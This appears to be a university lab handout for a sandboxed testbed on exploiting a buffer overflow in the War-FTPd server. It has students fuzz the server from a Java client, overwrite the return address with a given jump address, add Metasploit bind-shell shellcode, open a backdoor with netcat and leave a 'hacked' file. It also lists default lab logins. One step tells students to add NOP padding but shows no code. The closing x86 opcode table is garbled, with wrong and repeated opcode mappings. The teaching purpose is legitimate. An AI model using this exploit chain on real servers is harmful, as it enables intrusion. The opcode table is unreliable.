Gaining illegitimate access to a server typically requires vulnerability testing and exploitation of the found vulnerability. In this exercise, you will use a buffer overflow to exploit a vulnerable ftp program on a remote machine. This task requires a few tools and building a network client program to communicate with the vulnerable ftp program. This will help you understand how these types of attacks may occur and how they may be detected and prevented.

Part I – Connectivity to the Collaborative Innovation Testbed (CIT)

1. Use the credentials and URL provided to you by the instructor to log into CIT. You should see two links; one for a Kali VM (attacker) and one for a victim VM (WinXP). If prompted, login to these VMs using the following:

<table>
<thead>
<tr>
<th>Machine 1: Attacker</th>
<th>Machine 2: Victim</th>
</tr>
</thead>
<tbody>
<tr>
<td>username: root</td>
<td>username: victim</td>
</tr>
<tr>
<td>password: toor</td>
<td>password: victim</td>
</tr>
</tbody>
</table>

Part II – FTP Communication

IDA (the Interactive Disassembler) is a software disassembler and debugger. The disassembler feature takes machine code and converts it to assembly language which helps software analysts ascertain the purpose of a program or how it works. A debugger allows analysts to run programs and observe and modify their environment on-the-fly.

1. Click on the link to the victim (winxpSP0) machine. You will use IDA Pro to launch “C:\Program Files\War-ftpd\war-ftpd.exe”. Conduct the following steps:

a. Find IDA Pro on the Desktop and open it.

b. Click the “Ok” button in the next window and then the “Go” button in the following window.
c. Click on File and select: 1. C:\Program Files\War-ftpd\war-ftpd.idb

d. To run War-ftpd in Debug mode, go to Debugger > Start Process.
e. When the “Debugger warning” window pops up press the “Yes” button.

2. Press “Ok” in the war-ftpd popup window. Click on the icon in the upper left side to set the server “Online”.

3. Click on the Start button->click Run… and start the Command Prompt by entering: cmd.exe

4. *Identify and write down the victim computer IP address by executing
   ipconfig
   (hint it start with 11.)
   IP Address of victim: ______________________

5. Press back in your browser and then click on the link to the attacker (kali) machine. Recall that the credentials are at the beginning of this document.
   a. You want to send messages to the war-ftpd program on the victim machine using the Client.java program. Open the Client.java program located on the desktop:
      i. Start a Terminal by pressing and then run the following commands.
         ifconfig eth0 11.0.0.20/24 up (sets up your IP Address)
         cd Desktop (navigate to directory)
         geany Client.java & (opens the template file for editing)
      ii. You will send data to war-ftpd starting with the string “USER ”. This is how FTP communication works. Add the following lines of code underneath the appropriate “TODO” comment:

```java
String start = "USER ";
bytesOut.write(start.getBytes());
```
iii. To make sure that messages are being sent successfully, add your name to the data by typing in the following lines of code underneath the appropriate “TODO” comment:

```java
String name = "<group member names here>";
bytesOut.write(name.getBytes());
```

iv. Next, you need to do is add a few bytes to represent the end of the data (a sort of “over” command as you would do on a walkie-talkie). The bytes 0x0d and 0x0a are hexadecimal representations of the carriage return and endline characters (this is what the ftp service uses to indicate the end of a transmission). Add the following lines of code underneath the appropriate “TODO” comment (NOTE: this is the last TODO in the java file):

```java
byte[] end = {(byte)0x0D, (byte)0x0A};
bytesOut.write(end);
```

b. In the Terminal, make sure that you’re in the Desktop directory.

c. Compile the Client.java program.
   `javac Client.java`

d. Run the newly compiled program
   `java Client  <enter IP address of victim here>  21`

6. Check the war-ftp GUI on the victim machine to see if the Client.java program worked correctly (look for the string `<your name>` in the War-FTPD scrollable panel).
Part III – Vulnerability Hunting

The Stack is the part of memory that keeps track of all the method calls that occur in a running program. The stack is composed of stackframes that contain the parameters passed to the method, local variables, saved stack base address for the caller method, and the return address which points to the next instruction in the caller method.

```
local_var_b
local_var_a
saved caller base address
return address
arg_a
arg_b
```

7. Make sure that war-ftp is still running on the victim and the IDA Pro debugger is still attached.

8. Fuzz testing is a technique that is useful for discovering errors or vulnerabilities in a software program. You are going to do a simple fuzz test to find the buffer overflow vulnerability in war-ftp. On the attacker machine, back in the text editor, modify Client.java following these steps:

   a. You don’t need to send your names anymore, so comment out those two lines (using the “/” characters).

   ```
   /** TODO: write "<group name>" and add to packet */
   //String name = "acosta";
   //bytesOut.write(name.getBytes());
   ```

   b. You want to break the war-ftp program and reveal the buffer overflow vulnerability. You need to create a garbage buffer (or array) that will contain a large amount of garbage data. Add the following lines of code underneath the appropriate “TODO” comments:

   ```
   byte[] junk = new byte[888];
   for(int i = 0; i < junk.length; i++){
       junk[i] = 'A';
   }
   bytesOut.write(junk);
   ```

   c. Save the program, compile it again (javac Client.java), and run it
9. Go back to the victim machine and do the following.
   a. The garbage data array that you sent in the previous step (on the attacker) should have caused the return address in the stack (in war-ftp) to be overwritten. This is a buffer overflow. If done correctly, the following message should pop up in IDA:

   ![Warning dialog]

   b. After pressing “OK” in the warning message, you can look at the stack by using the “IDA-view ESP” window.

   ![IDA View ESP]

   c. *Still looking at the stack, you should be able to see the array (buffer) you sent to war-ftp (the long series of “A”s). You’ll see the return address if you scroll down the stack to address 00A4FD70. This is the value that you’ll soon overwrite. Write the return address here (don't include the "h" character):

   ________________

   d. Stop the debugger by pressing the Stop button (located on the top left corner in IDA Pro). Start the debugger once again and remember to click on to make war-ftp listen for connections.

Part IV – Setting Up the Exploit

The buffer overflow exploit overwrites the return address of the victim process. The return address is the location where the program jumps to continue program execution after a function has finished executing. An attacker can take advantage of the return address by forcing the program to jump to a different address than originally intended and run different code.
10. You will overwrite the original return address and force the program to jump somewhere else. On the attacker machine:

   a. To overwrite the return address with the new one, you will need to add the new address to the message sent by Client.java. We’ve done some work already and found a good return address for you to use. You’ll figure out what it does in next step. Add the following lines of code to Client.java underneath the appropriate “TODO” comment:

   ```java
   byte[] jump = {(byte)0x54,(byte)0x1d,(byte)0xab,(byte)0x71};
   bytesOut.write(jump);
   ```

   b. Save Client.java
   c. Run Client.java

11. Find out what instructions are at that new return address that you used in Client.java. On the victim machine, make sure that IDA is still debugging war-ftp and then conduct the following steps:

   a. In the IDA Pro Menu bar, click on Jump and select “Jump to address…”

   b. You will need to look for the address you used in Client.java in reverse order (due to something called endianess). Search for 0x71ab1d54.

   c. *What are the two bytes at this 0x71ab1d54 and 0x71ab1d55? (ignore the 0 in the second byte and don't include the "h" character) _

   _______  _______

   d. *The bytes found at that address are opcodes which map directly to assembly instructions. Look up those two opcodes in the opcode table attached at the end of this handout. Write the two assembly instructions here.

   ______________  ___________

   e. The two assembly instructions force the war-ftp program to execute the shellcode that you will generate in the next section.
Part V – Generate Shellcode
******************************************************************************

Shellcode (or the payload) is a small piece of code that an attacker uses to accomplish some behavior alongside the exploit. A tool that can generate shellcode is called Metasploit. Metasploit is computer security software that contains a knowledgebase of software vulnerabilities, exploits, and it is used for penetration testing.

******************************************************************************

12. Now that you set up the Client.java to exploit the vulnerability, you’ll need to add some shellcode. Complete the following steps on the attacker machine.

a. In a Terminal, start metasploit.
   
   msfconsole
   
   b. You need to generate shellcode that will tell the victim to open a TCP network listener (a backdoor so you can access the victim’s files) on port 4444. Type the following into the msfconsole and press enter after each one:

   i. use payload/windows/shell_bind_tcp
   ii. set LPORT 4444
   iii. generate -b '\x00\x0a\x0d\x40' -t java -f /root/Desktop/java.txt

   This command is generating shellcode that avoids using certain characters: null, line feed, carriage return, and @

   c. Exit metasploit and open the file where the shellcode was written.

   exit
   
   geany /root/Desktop/java.txt &
   
   d. The generated shellcode is in an encoded and compressed format. Because of this, in the exploit code, we need to add padding to make space for the decompression. Modify Client.java in the following way.

   You are going to add 16 bytes of 0x90 to your network message. The assembly instruction associated with 0x90 is called NOP (which means no operation - it does nothing). Here you’ll use it to add some padding for the payload, when it’s decompressed.

   i. Add the following lines of code to Client.java under the appropriate “TODO” comment, and save Client.java:
e. Finally, add the shellcode to `Client.java` by doing the following.
   i. Go back to the `java.txt` file (this file is a tab in the text editor) and paste the entire contents into `Client.java` under the appropriate “TODO” shellcode comment.
   ii. Underneath the code that you pasted, enter the following line.
      ```java
      bytesOut.write(buf);
      ```
   iii. Save `Client.java`

**Part VI – Exploit**

Netcat is a really convenient computer networking tool. It can open network connections and network listeners. It allows you to specify the listener/connector port number, and you can choose between TCP and UDP protocols.

13. On the **victim** machine, make sure war-ftp is running and is online.

14. Now you are ready to exploit the vulnerability in war-ftp and have the program execute the new shellcode.

   **On the attacker machine:**
   a. Open a Terminal and make sure you’re in the Desktop directory.
   b. Compile the `Client.java` program
      ```bash
      javac Client.java
      ```
   c. Run `Client.java` with the **victim** IP address and port 21
      ```bash
      java Client <victim IP address> 21
      ```
   d. Now that you ran the `Client.java` program with the shellcode, a **backdoor** TCP listener should be waiting on the **victim** on port 4444.
   e. To verify that the exploit worked you will establish a connection with the **victim** using the **backdoor**. On the **attacker** machine:
i. Open a Terminal and attempt to connect to port 4444
   
   `nc6 <victim IP address> 4444`

ii. List files and directories using the following command:
    
    `dir`

15. *Leave the victim a message letting them know that you hacked them:
    
    a. Navigate to the victim Desktop by executing
       
       `cd "C:\Documents and Settings\workshop\Desktop"`
    
    b. Type the following command.
       
       `echo "all your base are belong to us" >> Hacked.txt`
    
    c. Check the victim machine to see if the file was created.

16. Describe some ways that this type of attack can be prevented and detected.

   **Preventions:**
   
   ______________________________________________________________________
   
   ______________________________________________________________________
   
   ______________________________________________________________________

   **Detection:**
   
   ______________________________________________________________________
   
   ______________________________________________________________________
   
   ______________________________________________________________________
# Intel x86 Assembler Instruction Set Opcode Table

<table>
<thead>
<tr>
<th>ADD</th>
<th>ADD</th>
<th>ADD</th>
<th>ADD</th>
<th>ADD</th>
<th>POP</th>
<th>OR</th>
<th>OR</th>
<th>OR</th>
<th>OR</th>
<th>OR</th>
<th>PUSH</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>06</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>06</td>
</tr>
<tr>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>03</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>03</td>
</tr>
<tr>
<td>ADD</td>
<td>ADD</td>
<td>ADD</td>
<td>ADD</td>
<td>ADD</td>
<td>POP</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>PUSH</td>
</tr>
<tr>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>10</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>10</td>
</tr>
<tr>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>06</td>
<td>08</td>
<td>09</td>
<td>0A</td>
<td>0B</td>
<td>0C</td>
<td>0E</td>
</tr>
<tr>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
<td>ADC</td>
</tr>
<tr>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>0E</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>0E</td>
</tr>
<tr>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>03</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>Gv</td>
<td>03</td>
</tr>
<tr>
<td>AND</td>
<td>AND</td>
<td>AND</td>
<td>AND</td>
<td>AND</td>
<td>POP</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>OR</td>
<td>PUSH</td>
</tr>
<tr>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>20</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>20</td>
</tr>
<tr>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
<td>17</td>
<td>19</td>
<td>1A</td>
<td>1B</td>
<td>1C</td>
<td>1F</td>
<td>0E</td>
</tr>
<tr>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
<td>XOR</td>
</tr>
<tr>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>05</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>Gb</td>
<td>Eb</td>
<td>05</td>
</tr>
<tr>
<td>06</td>
<td>07</td>
<td>08</td>
<td>09</td>
<td>0A</td>
<td>0B</td>
<td>0C</td>
<td>0D</td>
<td>0E</td>
<td>0F</td>
<td>1C</td>
<td>0E</td>
</tr>
<tr>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
<td>INC</td>
</tr>
<tr>
<td>eAX</td>
<td>eCX</td>
<td>eDX</td>
<td>eBX</td>
<td>eBP</td>
<td>eSP</td>
<td>eSI</td>
<td>eDI</td>
<td>eBP</td>
<td>eSP</td>
<td>eDI</td>
<td>eSI</td>
</tr>
<tr>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
<td>PUSH</td>
</tr>
<tr>
<td>eAX</td>
<td>eCX</td>
<td>eDX</td>
<td>eBX</td>
<td>eBP</td>
<td>eSP</td>
<td>eSI</td>
<td>eDI</td>
<td>eBP</td>
<td>eSP</td>
<td>eSI</td>
<td>eDI</td>
</tr>
<tr>
<td>PUSHA</td>
<td>POPA</td>
<td>PUSH</td>
<td>POPA</td>
<td>POPA</td>
<td>PUSH</td>
<td>POPA</td>
<td>POPA</td>
<td>POPA</td>
<td>POPA</td>
<td>POPA</td>
<td>POPA</td>
</tr>
<tr>
<td>50</td>
<td>51</td>
<td>52</td>
<td>53</td>
<td>54</td>
<td>55</td>
<td>56</td>
<td>57</td>
<td>58</td>
<td>59</td>
<td>5A</td>
<td>5F</td>
</tr>
<tr>
<td>JO</td>
<td>JCXZ</td>
<td>SUB</td>
<td>ADD</td>
<td>XCHG</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
</tr>
<tr>
<td>Jb</td>
<td>Jb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
<td>Eb</td>
</tr>
<tr>
<td>70</td>
<td>71</td>
<td>72</td>
<td>73</td>
<td>74</td>
<td>75</td>
<td>76</td>
<td>77</td>
<td>78</td>
<td>79</td>
<td>7A</td>
<td>7F</td>
</tr>
<tr>
<td>NOP</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
<td>MOV</td>
</tr>
<tr>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
<td>Gb</td>
</tr>
<tr>
<td>80</td>
<td>81</td>
<td>82</td>
<td>83</td>
<td>84</td>
<td>85</td>
<td>86</td>
<td>87</td>
<td>88</td>
<td>89</td>
<td>8A</td>
<td>8F</td>
</tr>
<tr>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
<td>LOOPNZ</td>
</tr>
<tr>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
</tr>
<tr>
<td>80</td>
<td>81</td>
<td>82</td>
<td>83</td>
<td>84</td>
<td>85</td>
<td>86</td>
<td>87</td>
<td>88</td>
<td>89</td>
<td>8A</td>
<td>8F</td>
</tr>
<tr>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
<td>LOOP</td>
</tr>
<tr>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
<td>Jb</td>
</tr>
<tr>
<td>80</td>
<td>81</td>
<td>82</td>
<td>83</td>
<td>84</td>
<td>85</td>
<td>86</td>
<td>87</td>
<td>88</td>
<td>89</td>
<td>8A</td>
<td>8F</td>
</tr>
<tr>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
<td>LOCK</td>
</tr>
<tr>
<td>F0</td>
<td>F1</td>
<td>F2</td>
<td>F3</td>
<td>F4</td>
<td>F5</td>
<td>F6</td>
<td>F7</td>
<td>F8</td>
<td>F9</td>
<td>FA</td>
<td>FB</td>
</tr>
</tbody>
</table>

Page 10/10